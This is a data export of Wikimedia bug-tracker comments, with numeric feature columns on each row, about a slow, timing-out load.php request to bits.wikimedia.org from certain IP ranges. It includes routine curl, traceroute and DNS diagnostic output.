What makes you think the issue was caused by the fact of being served from that domain?",,,1435039204,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.95,"QUOTE

What makes you think the issue was caused by the fact of being served from that domain?"
479502,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",We no longer use bits to serve this content. So this can probably be closed now ?,,,1435011660,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.9444444444444444,We no longer use bits to serve this content. So this can probably be closed now ?
206135,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

Here is a Chrome plugin that provides a workaround:

https://chrome.google.com/webstore/detail/wikipedia-speedup/ppmagkdpdaaabpmdppckemgkngkpchdl?hl=en",,,1415214025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,4.4,0.7,"**bugzilla.wikimedia.org.76374** wrote:

Here is a Chrome plugin that provides a workaround:

URL"
206131,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","(In reply to Macavity from comment #19)
> This happens reliably on the IP range my ISP uses (looks like
> 86.141.0.0/16), when jqueryMsg is in the query string:
> 
> This times out:

Works for me as I get a cached response /* cache key: enwiki:resourceloader:filter:minify-js:7:519abda9a1640250a7c561ccfd0f22f8 */
I don't see ongoing CentralNotice campaigns for UK.",,,1414919322,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,11.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0181818181818185,0.7454545454545455,"(In reply to Macavity from comment #19)
QUOTE
QUOTE
QUOTE
QUOTE

Works for me as I get a cached response /* cache key: enwiki:resourceloader:filter:minify-js:7:519abda9a1640250a7c561ccfd0f22f8 */
I don't see ongoing CentralNotice campaigns for UK."
206125,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","This happens reliably on the IP range my ISP uses (looks like 86.141.0.0/16), when jqueryMsg is in the query string:

This times out:

http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.centralauth.centralautologin%7Cext.uls.init%2Cinterface%2Cpreferences%2Cwebfonts%7Cext.visualEditor.viewPageTarget.init%7Cjquery.accessKeyLabel%2CbyteLength%2Cclient%2Ccookie%2CmwExtension%2CtabIndex%2Cthrottle-debounce%2Ctipsy%7Cmediawiki.Title%2CUri%2Capi%2Ccldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cuser%2Cutil%7Cmediawiki.language.init%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cmmv.base%2Chead%7Cskins.vector.js&skin=vector&version=20141031T180422Z&*

This returns:

http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.centralauth.centralautologin%7Cext.uls.init%2Cinterface%2Cpreferences%2Cwebfonts%7Cext.visualEditor.viewPageTarget.init%7Cjquery.accessKeyLabel%2CbyteLength%2Cclient%2Ccookie%2CmwExtension%2CtabIndex%2Cthrottle-debounce%2Ctipsy%7Cmediawiki.Title%2CUri%2Capi%2Ccldr%2Clanguage%2Cnotify%2Cuser%2Cutil%7Cmediawiki.language.init%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cmmv.base%2Chead%7Cskins.vector.js&skin=vector&version=20141031T180422Z&*",,,1414918068,,PHID-USER-klksrqr4iars7szz53kl,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,19.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.675675675675676,0.7567567567567568,"This happens reliably on the IP range my ISP uses (looks like 86.141.0.0/16), when jqueryMsg is in the query string:

This times out:

URL

This returns:

URL"
206118,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Every time I look (e.g. on webpagetest.org), I always find one or two ""failing"" load.php calls however I test it. Usually it's the CentralNotice taking too much, I don't see what can be done in this component.",,,1404555792,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,52,,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,9.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,13.0,4.0,2.0,0.0,4.0,0.0,13.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,3.6808510638297873,0.851063829787234,"Every time I look (e.g. on webpagetest.org), I always find one or two ""failing"" load.php calls however I test it. Usually it's the CentralNotice taking too much, I don't see what can be done in this component."
206112,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Correct, comment 14 - comment 17 are a different issue.",,,1368105953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"Correct, comment 14 - comment 17 are a different issue."
206106,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Yeah, bits was having issues earlier today. https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&oldid=69483 and http://status.wikimedia.org/8777/156486/Static-assets-(CSS/JS) seem to confirm this. I think separate issues are getting mixed in to a single bug, though.",,,1368059296,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,3.78125,0.8125,"Yeah, bits was having issues earlier today. URL and URL seem to confirm this. I think separate issues are getting mixed in to a single bug, though."
206100,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","And little bit more. In my case it is maybe just only DNS updating problem. In my home ip bits.wikimedia.org resolves to  91.198.174.233, 2620:0:862:ed1a::a,  bits.esams.wikimedia.org.

In .kapsi.fi where everything is working fine bits.wikimedia.org resolves to  2620:0:861:ed1a::a, 208.80.154.234, bits-lb.eqiad.wikimedia.org",,,1367994507,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,5.490566037735849,0.6981132075471698,"And little bit more. In my case it is maybe just only DNS updating problem. In my home ip bits.wikimedia.org resolves to  91.198.174.233, 2620:0:862:ed1a::a,  bits.esams.wikimedia.org.

In .kapsi.fi where everything is working fine bits.wikimedia.org resolves to  2620:0:861:ed1a::a, 208.80.154.234, bits-lb.eqiad.wikimedia.org"
206094,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","This seems to something like my ongoing Wikipedia/Wikimedia problem. In last 12 hours most of queries to http://bits.wikimedia.org from my home IP are failed, but not all. However https://bits.wikimedia.org seems to work normally. I also asked in community portal of fiwiki if wikipedia has been slow and answer was  it has been worked normally.

Commands asked:

--- CLIP ----
curl -i http://bits.wikimedia.org/
curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable

--- CLIP ----
curl -i https://bits.wikimedia.org/
HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Wed, 08 May 2013 05:45:54 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
ETag: ""b2-48da2a1772100""
X-Varnish: 693529009
Via: 1.1 varnish
Accept-Ranges: bytes
X-Varnish: 1488468153
Age: 0
Via: 1.1 varnish
X-Cache: strontium miss (0), cp3021 miss (0)

<html>
	<head><title>bits and pieces</title>
		<meta http-equiv=""refresh"" content=""1;url=http://www.wikimedia.org/"" />
	</head>
<body>
bits and pieces live here!
</body>
</html>

--- CLIP ----
curl -i http://bits.wikimedia.org/geoiplookup
HTTP/1.1 200 geoiplookup
Server: Varnish
Content-Type: text/javascript
Content-Length: 111
Last-Modified: Wed, 08 May 2013 05:58:57 GMT
Cache-Control: private, max-age=86400, s-maxage=0
Accept-Ranges: bytes
Date: Wed, 08 May 2013 05:58:57 GMT
X-Varnish: 2987799549
Age: 0
Via: 1.1 varnish
Connection: close
X-Cache: cp3022 miss (0)

Geo = {""city"":""REMOVED"",""country"":""FI"",""lat"":""REMOVED"",""lon"":""REMOVED"",""IP"":""91.153.84.229"",""netmask"":""24""}

--- CLIP ----
traceroute bits.wikimedia.org
traceroute to bits.wikimedia.org (91.198.174.233), 30 hops max, 60 byte packets
 1  kotiboksi.Elisa (192.168.100.1)  0.662 ms  0.861 ms  1.079 ms
 2  tkueur1.fi.elisa.net (91.153.48.1)  14.876 ms  15.553 ms  15.781 ms
 3  ge1-0-0.tkubra-p1.fi.elisa.net (139.97.9.13)  13.879 ms  15.328 ms  16.106 ms
 4  so7-2-0.esptnl-p1.fi.elisa.net (139.97.6.1)  19.842 ms  21.924 ms  22.199 ms
 5  ip-rr.hkika234.fi.elisa.net (139.97.0.162)  22.454 ms  23.130 ms  23.885 ms
 6  213.192.184.109 (213.192.184.109)  25.150 ms  17.379 ms  18.065 ms
 7  as0-0.bbr1.ams1.nl.eunetip.net (213.192.191.226)  54.601 ms  50.913 ms  47.484 ms
 8  * * *
 9  * * *
10  * * *
....

Discussion in community portal:
http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu",,,1367992987,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,0.16666666666666666,0.16666666666666666,0.0,0.3333333333333333,0.16666666666666666,3.5,0.3333333333333333,0.0,0.0,0.16666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.1666666666666667,3.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.16666666666666666,0.0,0.0,0.5,0.0,0.0,1.1666666666666667,0.3333333333333333,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.5,0.5,0.0,0.0,0.0,0.8333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,11.666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,13.333333333333334,0.16666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,1.0,0.0,11.666666666666666,0.0,0.8333333333333334,3.0,14.166666666666666,0.0,0.8333333333333334,0.0,0.8333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,3.0,3.6666666666666665,0.5833333333333334,"This seems to something like my ongoing Wikipedia/Wikimedia problem. In last 12 hours most of queries to URL from my home IP are failed, but not all. However URL seems to work normally. I also asked in community portal of fiwiki if wikipedia has been slow and answer was  it has been worked normally.

Commands asked:

--- CLIP ----
curl -i URL
curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable

--- CLIP ----
curl -i URL
HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Wed, 08 May 2013 05:45:54 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
ETag: ""b2-48da2a1772100""
X-Varnish: 693529009
Via: 1.1 varnish
Accept-Ranges: bytes
X-Varnish: 1488468153
Age: 0
Via: 1.1 varnish
X-Cache: strontium miss (0), cp3021 miss (0)

<html>
	<head><title>bits and pieces</title>
		<meta http-equiv=""refresh"" content=""1;url=URL />
	</head>
<body>
bits and pieces live here!
</body>
</html>

--- CLIP ----
curl -i URL
HTTP/1.1 200 geoiplookup
Server: Varnish
Content-Type: text/javascript
Content-Length: 111
Last-Modified: Wed, 08 May 2013 05:58:57 GMT
Cache-Control: private, max-age=86400, s-maxage=0
Accept-Ranges: bytes
Date: Wed, 08 May 2013 05:58:57 GMT
X-Varnish: 2987799549
Age: 0
Via: 1.1 varnish
Connection: close
X-Cache: cp3022 miss (0)

Geo = {""city"":""REMOVED"",""country"":""FI"",""lat"":""REMOVED"",""lon"":""REMOVED"",""IP"":""91.153.84.229"",""netmask"":""24""}

--- CLIP ----
traceroute bits.wikimedia.org
traceroute to bits.wikimedia.org (91.198.174.233), 30 hops max, 60 byte packets
 1  kotiboksi.Elisa (192.168.100.1)  0.662 ms  0.861 ms  1.079 ms
 2  tkueur1.fi.elisa.net (91.153.48.1)  14.876 ms  15.553 ms  15.781 ms
 3  ge1-0-0.tkubra-p1.fi.elisa.net (139.97.9.13)  13.879 ms  15.328 ms  16.106 ms
 4  so7-2-0.esptnl-p1.fi.elisa.net (139.97.6.1)  19.842 ms  21.924 ms  22.199 ms
 5  ip-rr.hkika234.fi.elisa.net (139.97.0.162)  22.454 ms  23.130 ms  23.885 ms
 6  213.192.184.109 (213.192.184.109)  25.150 ms  17.379 ms  18.065 ms
 7  as0-0.bbr1.ams1.nl.eunetip.net (213.192.191.226)  54.601 ms  50.913 ms  47.484 ms
 8  * * *
 9  * * *
10  * * *
....

Discussion in community portal:
URL"
206089,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Bug 39322 came to my mind, so I'd still appreciate the output of the following commands

traceroute bits.wikimedia.org

curl -i http://bits.wikimedia.org/",,,1366803080,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,8.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.52,0.92,"Bug 39322 came to my mind, so I'd still appreciate the output of the following commands

traceroute bits.wikimedia.org

curl -i URL"
206083,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

Andre: we have already determined that it is a problem related to the source ip range.",,,1363057173,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.8461538461538461,"**bugzilla.wikimedia.org.76374** wrote:

Andre: we have already determined that it is a problem related to the source ip range."
206080,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

Look at the screenshot. Just one out of multiple calls to the same script fails. So the routing is definitely ok.",,,1363057106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15625,0.78125,"**bugzilla.wikimedia.org.76374** wrote:

Look at the screenshot. Just one out of multiple calls to the same script fails. So the routing is definitely ok."
206077,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Just realizing that this question still stands:

> Is the routing to the bits servers ok from both ip address ranges?",,,1363000685,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.8,1.0,"Just realizing that this question still stands:

QUOTE"
206075,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","For me in Firebug that specific call is 51ms and 14.9kb (being logged in), for you 11440ms and 0.0kb.

And in my case the URL is
http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.wikimediaShopLink.core%7Cjquery.client%2Ccookie%2CmwExtension%7Cmediawiki.cldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cutil%7Cmediawiki.language.data%2Cinit%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cwikibase.client.init&skin=vector&version=20130311T110922Z&*",,,1363000652,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,14.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,17.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.085714285714286,0.8285714285714286,"For me in Firebug that specific call is 51ms and 14.9kb (being logged in), for you 11440ms and 0.0kb.

And in my case the URL is
URL"
206072,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

screenshot of timeout in firebug

**Attached**: {F10260}",,,1362773214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.6086956521739131,"**bugzilla.wikimedia.org.76374** wrote:

screenshot of timeout in firebug

**Attached**: {F10260}"
206068,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:

Yes, it is still a problem. See the screenshot.",,,1362773152,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.95,0.8,"**bugzilla.wikimedia.org.76374** wrote:

Yes, it is still a problem. See the screenshot."
